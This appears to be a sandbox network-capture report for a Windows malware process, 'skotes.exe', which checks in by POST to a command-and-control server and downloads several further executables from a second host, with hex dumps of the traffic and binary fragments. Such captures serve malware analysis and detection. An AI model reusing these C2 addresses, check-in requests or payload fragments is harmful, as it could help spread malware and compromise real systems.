Dec 19, 2024 06:09:20.397133112 CET	224	IN	Data Raw: 62 07 19 67 14 ba 38 e0 e3 a4 10 5f 8e ce cb fc 88 0a 8a c3 d8 ff f0 20 ca 54 9b a3 8d 16 09 74 c2 ab 94 c2 4f 9b cb bc b6 d3 a9 22 63 af 2e 0a 49 e0 bc 5f 36 fb 53 08 7e 24 71 23 4d ac e5 8e b3 da 4f ec 60 4e c7 b5 80 56 b4 09 71 60 c6 82 6b 25 Data Ascii: bg8_ TtO"c.I_6S~$q#MO`NVq`k%}=W92)KXd(Z#UUGJ-AoS_R)lE44MOGa4rjB(-vOary6uIEH{"F$mv
Dec 19, 2024 06:09:20.397170067 CET	1236	IN	Data Raw: 12 f9 91 51 58 af 04 23 8f 30 0c c7 39 30 18 6f 73 ac 17 7f 71 37 91 82 d9 62 45 1c ba b9 7a 77 52 9a da 97 10 44 58 9c d5 bd 05 a5 95 ef 6b a2 a9 d4 09 57 c5 50 f2 3a b8 1d 71 13 8b 05 a9 9a 1c ec 74 b6 d8 d8 89 0a 07 c9 67 95 d5 5e b6 aa 3f 88 Data Ascii: QX#090osq7bEzwRDXkWP:qtg^?0>w_Y!j6i`>&NzD:jiDIQe,@PZY #8c_-b:POHW&e?6+Sx6\r;Ry5(9uR
Dec 19, 2024 06:09:20.397227049 CET	1236	IN	Data Raw: fd fe ff ff 09 11 07 d2 6e 1e 11 06 5a 1f 3f 5f 62 60 0d 11 08 20 23 13 69 6e 5a 20 d8 58 93 dc 61 38 db fe ff ff 09 69 8d 2b 00 00 01 25 17 73 0f 00 00 0a 13 04 06 6f 10 00 00 0a 1f 0d 6a 59 13 05 07 06 11 04 11 05 09 6f 1a 00 00 06 2a 00 00 13 Data Ascii: nZ?_b` #inZ Xa8i+%sojYo*0 ,%(, 5a%!^E!x"x#fAf
Dec 19, 2024 06:09:20.397264004 CET	1236	IN	Data Raw: 18 64 d2 9c 08 11 0a 8f 2c 00 00 01 25 4b 11 0b 61 54 11 0a 17 58 13 0a 11 0c 20 cf ee 07 2a 5a 20 5e 23 07 aa 61 38 87 fb ff ff 2a 00 13 30 08 00 d2 02 00 00 04 00 00 11 02 20 c1 b5 26 63 5a 20 9d cb 0c 00 61 10 00 20 d4 c0 a4 87 20 53 62 41 fb Data Ascii: d,%KaTX Z ^#a80 &cZ a SbAa%^E)@k:DT\n'8f~Y( Z Pa+ 5w]Z )@a8unj3 b%+ @o%&8[
Dec 19, 2024 06:09:20.397309065 CET	672	IN	Data Raw: 62 60 13 05 d0 01 00 00 1b 28 16 00 00 0a 6f 17 00 00 0a 11 05 28 18 00 00 0a 13 06 11 07 20 8a a8 9f 65 5a 20 36 1b 2f 3f 61 38 2f fe ff ff 09 16 a3 01 00 00 1b 0b 11 07 20 4f 52 71 f5 5a 20 9e 4e 75 9c 61 38 14 fe ff ff 02 20 ff ff ff 3f 5f 10 Data Ascii: b`(o( eZ 6/?a8/ ORqZ Nua8 ?_ uZ QSa8b xZ a8nj3 c%+ T%& k"0Za8~( Z U,a8~Y( $Z T
Dec 19, 2024 06:09:20.397344112 CET	1236	IN	Data Raw: ff 3f 5f 10 00 11 07 20 04 e9 6d 24 5a 20 a6 73 de 92 61 38 72 fe ff ff 28 13 00 00 0a 7e 01 00 00 04 02 08 6f 14 00 00 0a 28 15 00 00 0a a5 01 00 00 1b 0b 11 07 20 c1 95 14 f6 5a 20 39 5a 7e 4b 61 38 43 fe ff ff d0 01 00 00 1b 28 16 00 00 0a 6f Data Ascii: ?_ m$Z sa8r(~o( Z 9Z~Ka8C(o(~Y( Z }!a8bnj. %+ pN%& !Za8nj. B%+ d/%&8~( YZ ==<a8
Dec 19, 2024 06:09:20.397381067 CET	1236	IN	Data Raw: a3 01 00 00 1b 0b 11 07 20 60 cb 6b 4a 5a 20 54 73 01 f6 61 38 e0 fe ff ff 11 07 20 1c aa 47 87 5a 20 23 4d 73 2a 61 38 cd fe ff ff 02 1f 1e 64 0a 11 07 20 1d 9c 3d 9f 5a 20 19 bd 80 e7 61 38 b5 fe ff ff 06 6e 19 6a 2e 08 20 83 be db df 25 2b 06 Data Ascii: `kJZ Tsa8 GZ #Ms*a8d =Z a8nj. %+ %&8nj3 :%+ <k%&8 2Z 5a8f iBZ a8L ?_bnj. )%+ +%& ?+Za8~%X~%X
Dec 19, 2024 06:09:20.397417068 CET	1236	IN	Data Raw: 25 26 2b b3 06 17 62 02 7b 04 00 00 04 06 8f 02 00 00 02 03 28 0a 00 00 06 58 0a 20 4b 0d df 93 2b 95 07 17 59 0b 08 20 ec 35 67 fd 5a 20 b8 80 8c 50 61 2b 82 06 17 02 7b 05 00 00 04 1f 1f 5f 62 59 2a 00 00 13 30 06 00 bd 00 00 00 07 00 00 11 17 Data Ascii: %&+b{(X K+Y 5gZ Pa+{_bY0 P <\|*a%^ET/k8{( )@+ sZ oa+bX_b`X 2;(NZ 8qa+ Z zDa8i{
Dec 19, 2024 06:09:20.397452116 CET	672	IN	Data Raw: 05 20 3c a3 ab 89 5a 20 f4 8d 52 fb 61 38 8f fe ff ff 11 05 20 55 7b 3b 02 5a 20 ad e8 94 37 61 38 7c fe ff ff 08 2a 00 00 13 30 03 00 07 00 00 00 01 00 00 11 02 28 19 00 00 0a 2a 00 13 30 05 00 56 01 00 00 08 00 00 11 02 20 c0 00 00 00 8d 02 00 Data Ascii: <Z Ra8 U{;Z 7a8\|0(0V } }}}}}s }s&}s2}r}}s}s }s
Dec 19, 2024 06:09:20.517183065 CET	1236	IN	Data Raw: 77 c8 0d 17 5a 20 21 6d 22 0c 61 2b c4 02 06 17 59 7d 1a 00 00 04 07 20 0e af 43 5e 5a 20 10 bf b4 ea 61 2b ac 2a 00 00 00 13 30 05 00 f6 02 00 00 0a 00 00 11 02 7b 14 00 00 04 03 6f 10 00 00 06 20 a6 70 a0 91 20 f2 a9 59 c5 61 25 0d 1f 18 5e 45 Data Ascii: wZ !m"a+Y} C^Z a+0{o p Ya%^E-`Sy6AQn8N4 %+ /#%&8r{( OZ fCla8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49802	185.215.113.43	80	7832	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 06:09:25.018079996 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 33 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017321001&unit=246122658369

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49823	31.41.244.11	80	7832	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 06:09:34.175954103 CET	59	OUT	GET /files/lolz/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 06:09:35.499994993 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 05:09:35 GMT Content-Type: application/octet-stream Content-Length: 21504 Last-Modified: Wed, 18 Dec 2024 18:13:28 GMT Connection: keep-alive ETag: "676310c8-5400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 6d 3b c0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4a 00 00 00 08 00 00 00 00 00 00 3a 69 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e6 68 00 00 4f 00 00 00 00 80 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 54 68 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELpm;"0J:i @ `hOTh8 H.text@I J `.rsrcL@@.relocR@BiH6p108s2(}<}=};\|<(+\|<(0P~,Brp(rcp((rp(((o(08s,(}}}\|(+\|(0Hs/+~~ioX-rp(+0rp( o!+*0rp( o!+
Dec 19, 2024 06:09:35.500015020 CET	224	IN	Data Raw: 00 06 2a 00 00 13 30 03 00 32 00 00 00 06 00 00 11 00 02 72 ef 00 00 70 72 f7 00 00 70 28 22 00 00 0a 6f 23 00 00 0a 0a 06 06 28 03 00 00 2b 28 04 00 00 2b 73 26 00 00 0a 28 27 00 00 0a 0b 2b 00 07 2a 00 00 1b 30 04 00 ad 00 00 00 07 00 00 11 00 Data Ascii: 02rprp("o#(+(+s&('+0s(rp( (+~%-&~s*%(+(+o-+@(.o/,%o0Xo1+o1(2
Dec 19, 2024 06:09:35.500021935 CET	1236	IN	Data Raw: 00 00 0a 2d b7 de 0f 12 02 fe 16 04 00 00 1b 6f 33 00 00 0a 00 dc 06 13 07 2b 00 11 07 2a 00 00 00 01 10 00 00 02 00 49 00 4d 96 00 0f 00 00 00 00 13 30 03 00 65 00 00 00 08 00 00 11 00 02 72 d3 00 00 70 28 20 00 00 0a 28 05 00 00 2b 7e 0a 00 00 Data Ascii: -o3+IM0erp( (+~%-&~s%(+(+~%-&~ s4%(++*0urprpo#+=o6(+,X+
Dec 19, 2024 06:09:35.500096083 CET	1236	IN	Data Raw: 0b 07 06 fe 06 29 00 00 06 73 4f 00 00 0a 28 0c 00 00 2b 28 07 00 00 2b 0c 2b 00 08 2a 13 30 02 00 1c 00 00 00 10 00 00 11 00 28 51 00 00 0a 73 52 00 00 0a 0a 06 20 20 02 00 00 6f 53 00 00 0a 0b 2b 00 07 2a 1b 30 03 00 44 00 00 00 11 00 00 11 00 Data Ascii: )sO(+(++0(QsR oS+0D(ToUsV%rpoW(X&rpoY(((0Lss}{oZr1p(++s\(+(+
Dec 19, 2024 06:09:35.500107050 CET	1236	IN	Data Raw: 70 02 7b 19 00 00 04 8c 3f 00 00 01 28 73 00 00 0a 28 19 00 00 0a 00 02 02 7b 16 00 00 04 28 08 00 00 06 7d 1a 00 00 04 02 7b 1a 00 00 04 2d 07 72 cd 04 00 70 2b 05 72 09 05 00 70 28 19 00 00 0a 00 02 72 3f 05 00 70 7d 1b 00 00 04 7e 04 00 00 04 Data Ascii: p{?(s({(}{-rp+rp(r?p}~(rp((u~(rp((u{~(}%{(voo(w-C%}}/\|(+}{/\|/
Dec 19, 2024 06:09:35.500118017 CET	1236	IN	Data Raw: 14 7d 1d 00 00 04 02 14 7d 20 00 00 04 02 14 7d 21 00 00 04 02 14 7d 22 00 00 04 02 14 7d 24 00 00 04 02 14 7d 25 00 00 04 02 14 7d 26 00 00 04 02 7c 15 00 00 04 09 28 82 00 00 0a 00 de 53 02 1f fe 7d 14 00 00 04 02 14 7d 1b 00 00 04 02 14 7d 1c Data Ascii: }} }!}"}$}%}&\|(S}}}}} }!}"}$}%}&\|(*A\|[Wb7d77#
Dec 19, 2024 06:09:35.500128984 CET	1236	IN	Data Raw: 40 00 00 04 28 04 00 00 06 6f 6f 00 00 0a 13 04 12 04 28 77 00 00 0a 2d 43 02 16 25 0a 7d 3b 00 00 04 02 11 04 7d 42 00 00 04 02 13 05 02 7c 3c 00 00 04 12 04 12 05 28 13 00 00 2b 00 de 70 02 7b 42 00 00 04 13 04 02 7c 42 00 00 04 fe 15 21 00 00 Data Ascii: @(oo(w-C%};}B\|<(+p{B\|B!%};(p&};}?}@\|<("};}?}@\|<(A4r$)&BSJB
Dec 19, 2024 06:09:35.500242949 CET	1120	IN	Data Raw: 04 01 00 75 04 f4 04 01 00 a4 04 fb 04 01 00 c5 04 04 05 01 00 f7 04 0d 05 01 00 31 00 33 03 01 00 d4 01 0d 05 01 00 f7 02 33 03 01 00 b9 03 0d 05 01 00 0a 04 33 03 01 00 7b 02 14 05 06 00 fb 07 aa 04 06 00 8c 0c db 04 06 00 c3 0a 33 03 06 00 85 Data Ascii: u1333{33P!,"l'{+HA0433?'{ 7P = D SI4!\|
Dec 19, 2024 06:09:35.503798008 CET	1236	IN	Data Raw: 00 01 00 9c 07 07 00 99 00 08 00 99 00 09 00 99 00 09 00 5a 0d 01 00 11 00 5a 0d 06 00 19 00 5a 0d 0a 00 29 00 5a 0d 10 00 31 00 5a 0d 10 00 39 00 5a 0d 10 00 41 00 5a 0d 10 00 49 00 5a 0d 10 00 51 00 5a 0d 10 00 59 00 5a 0d 10 00 61 00 5a 0d 15 Data Ascii: ZZZ)Z1Z9ZAZIZQZYZaZiZqZyZZZZ Z11&QZ929d89\|EqgOyTZZsy,xZyyZ
Dec 19, 2024 06:09:35.503914118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 ad 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 88 04 17 06 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 88 04 ec 0a 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 88 04 be 07 00 00 00 00 04 00 02 00 00 00 00 Data Ascii: </@/dIKSW2YJkJoJJW./b'L<textoKebabCase>5__10<AnalizarTextoAsync
Dec 19, 2024 06:09:35.619782925 CET	1236	IN	Data Raw: 70 61 6c 61 62 72 61 3e 35 5f 5f 32 34 00 3c 65 73 50 61 6c 69 6e 64 72 6f 6d 6f 3e 35 5f 5f 34 00 3c 66 6c 75 6a 6f 41 72 63 68 69 76 6f 3e 35 5f 5f 34 00 3c 65 78 3e 35 5f 5f 34 00 3c 61 6e 61 67 72 61 6d 61 73 3e 35 5f 5f 31 35 00 3c 75 72 6c Data Ascii: palabra>5__24<esPalindromo>5__4<flujoArchivo>5__4<ex>5__4<anagramas>5__15<urlDescarga1>5__5<ex>5__5<palabrasConErrores>5__16<tareaDescarga1>5__6<>s__17<frecuenciaPalabras>5__7<par>5__18<longitudMaximaPalabra>5__8<Main>d__8<>s__19

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49832	185.215.113.43	80	7832	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 06:09:38.049490929 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 33 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017351001&unit=246122658369
Dec 19, 2024 06:09:39.398313999 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 05:09:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49838	31.41.244.11	80	7832	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 06:09:39.825700998 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 06:09:41.147845030 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 05:09:40 GMT Content-Type: application/octet-stream Content-Length: 1978368 Last-Modified: Thu, 19 Dec 2024 05:03:50 GMT Connection: keep-alive ETag: "6763a936-1e3000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 70 4b 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^pK@K~@Vjl <@.rsrclL@.idata T@ )V@alcvhdaz1X@vjrkdbwz`K@.taggant0pK"@
Dec 19, 2024 06:09:41.147888899 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 06:09:41.147927046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 06:09:41.147965908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 06:09:41.148000002 CET	896	IN	Data Raw: b4 be 1b 94 d6 64 02 33 31 53 0d bc 52 d8 7f 8d df ee 35 3a 4e 8d 3e 0f 72 84 ac fe 57 d6 a8 6c 8e b7 9f 8e 6e 3a 27 92 94 f0 8b fd e0 bc 6a c0 02 b8 99 2b ac 2f bd 89 f1 dc 0c aa 2f e2 87 19 fd 01 af 2a 87 90 7b 2d 6a e9 6f 88 c6 92 49 4e d2 77 Data Ascii: d31SR5:N>rWln:'j+//*{-joINwwlm<&%~o8_~FS;+~FdVfAl7m@p,t+.gU[ZO]>9 3Nu~fVZ?\oP
Dec 19, 2024 06:09:41.148036003 CET	1236	IN	Data Raw: b1 46 cc 6f 7b ee bc df be 9b b2 0f 7d 65 8a 66 5b db 77 30 90 0d ab d5 2f 92 82 9e 90 1d 5c 84 d1 f1 dc d2 d5 94 b4 2c a5 6c 1e 2e b2 41 00 68 4f e5 e4 e8 0e 44 f6 01 98 18 58 9c c3 be 6c 5e b6 54 d4 2b 79 9a 17 d4 fd 3e 6c 0a ca f8 97 95 d6 df Data Ascii: Fo{}ef[w0/\,l.AhODXl^T+y>ljl3.h_f,NINiOYYzP0gnaH@\gr7%5\|]<F^(UF3\|"ZbagTf9bl3m"ekM*\|ls):]_
Dec 19, 2024 06:09:41.148066044 CET	224	IN	Data Raw: 7f 59 5c 74 14 f1 b8 87 d3 a6 d2 69 7d 0c 06 b8 af d6 3f fb df 31 ac f1 4f a8 92 bf 02 84 9a 1e f6 d7 b7 e1 36 13 5d be a6 10 bd ef 3e 96 0d 0a 6a 9a d7 67 8e 75 ab 85 7e 92 d0 ad 10 d2 5f c1 7f f1 55 4e ac 02 44 02 45 6c 11 d2 1a c3 03 68 28 07 Data Ascii: Y\ti}?1O6]>jgu~_UNDElh(@hw=YcDB~plZhlc%_jDJ@~#:+5vD^k'V6>;n!^Y\0zJF)C?laF
Dec 19, 2024 06:09:41.148159027 CET	1236	IN	Data Raw: 98 cc 8e 3c 7e d6 b5 6c 31 72 2b 75 6e 47 95 08 93 36 be 23 17 cf bc 99 fc b5 70 a2 c5 83 a9 ae e1 13 db de 44 59 b5 44 95 49 46 e0 d2 b3 65 40 43 cc 00 ee fa d6 20 6c e6 1e 7b 2d 6d a7 3c a9 94 a4 88 25 00 9c 32 c0 24 01 2b 2a f0 90 98 c5 0e 37 Data Ascii: <~l1r+unG6#pDYDIFe@C l{-m<%2$+*7lIr1oP\6r(F6')TO[e\|ee2@S,j`?6AAgqBYe+Ip7p5)$(AlK)ht
Dec 19, 2024 06:09:41.148194075 CET	1236	IN	Data Raw: 75 03 11 cf 00 84 70 11 6c ca b3 e1 b5 8c 52 d6 a6 ec bc 7f eb 3f 0d 5f 34 28 3a 19 0e 06 a2 f0 ec c4 1f 52 94 07 b0 f8 42 03 fa ef 68 8f 0d 98 68 46 42 db fb 42 88 b9 a4 e4 88 c0 76 72 47 2a 0d 90 e4 bb ca 75 6c bf 0c 9f 49 d4 d2 0e d6 45 5a cc Data Ascii: uplR?_4(:RBhhFBBvrG*ulIEZd#KP5<l_RwoeX$;w!0r!Ygt'&E0.l1i0FJm/M?\d %omIo#v_75JWI%
Dec 19, 2024 06:09:41.148226976 CET	448	IN	Data Raw: e6 16 00 68 80 d3 5b f0 0e b5 c9 80 1b 18 84 ca a5 67 7b a0 79 b5 d3 9a 5a 94 2e 00 0e 28 cc a4 56 aa bf 94 d6 45 bb a6 fc 6c 92 3f c4 bf 00 1c f2 52 12 02 0e ce 96 07 a8 84 5c 64 ee 7e e6 69 f8 8b 67 3e 0d 19 85 08 54 18 84 b5 b7 ba 1d ab e0 ae Data Ascii: h[g{yZ.(VEl?R\d~ig>TV/nZN8-/E`Rga;V!T QEXn*!o[3I?5;<dkFy.qV&ln^nv/7a-Nit.`FH4.l~mh-G{K
Dec 19, 2024 06:09:41.267731905 CET	1236	IN	Data Raw: 48 dd a2 c0 87 7a 13 2a ba 88 9d 3d 5e 80 0c fc a9 64 2a 18 55 83 ec 5a b3 13 cf 7c 46 18 b4 2e b6 41 37 3e 4f 07 a5 68 54 fc fa d0 b1 7e d5 6f 41 8a e1 3d bd ff 4a 0f 2a a4 8a be 77 46 15 30 c4 17 ab 8a d4 92 5b 45 e1 97 5f 62 17 f1 63 ca d3 60 Data Ascii: Hz=^dUZ\|F.A7>OhT~oA=JwF0[E_bc`;#mn<]b#xoTIL\BlRRrS6y?hs1rZE$-fPmMV[n]/;p\|cK4Y.`I#lkh{+41

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49854	185.215.113.43	80	7832	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 06:09:47.080477953 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 33 35 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017352001&unit=246122658369
Dec 19, 2024 06:09:48.309860945 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 05:09:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49860	31.41.244.11	80	7832	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 06:09:48.447982073 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 06:09:49.769938946 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 05:09:49 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 19, 2024 06:09:49.769979954 CET	1236	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3D$tlA
Dec 19, 2024 06:09:49.770070076 CET	448	IN	Data Raw: 3b f3 74 06 8b 06 56 ff 50 08 33 c0 40 eb 25 e8 a7 fe ff ff 8d 4d e0 8b f8 e8 bb 0e 01 00 8b 06 56 ff 50 08 8b c7 eb 0c 3b f3 74 06 8b 06 56 ff 50 08 33 c0 5e 5f 5b c9 c3 56 8b f1 c7 46 04 60 c3 41 00 83 66 08 00 c7 06 34 a5 41 00 c7 46 04 24 a5 Data Ascii: ;tVP3@%MVP;tVP3^_[VF`Af4AF$AfNf$N(^Uh$AuYYtEP#UPQ3hAudYYu@]Vv({F$YtPQvzvYtVP^l$
Dec 19, 2024 06:09:49.770119905 CET	1236	IN	Data Raw: 56 8b f1 8d 4e 08 c7 06 58 a5 41 00 e8 fa 0a 01 00 f6 44 24 08 01 74 07 56 e8 f1 79 01 00 59 8b c6 5e c2 04 00 55 8b ec 51 56 57 ff 75 08 8b f1 8d 4e 0c e8 26 1e 01 00 ff 75 0c 8d 7e 10 8b cf e8 63 fb ff ff 6a 5c 8b cf e8 ec fe ff ff 33 ff 8d 45 Data Ascii: VNXAD$tVyY^UQVWuN&u~cj\3EPWVh<@WW5dA=lAA=AhAtsj5hAAlA;=XAt2t!ttg~k~}PjKjjjW\|YYd9=`Au\EP5hAAMt;u
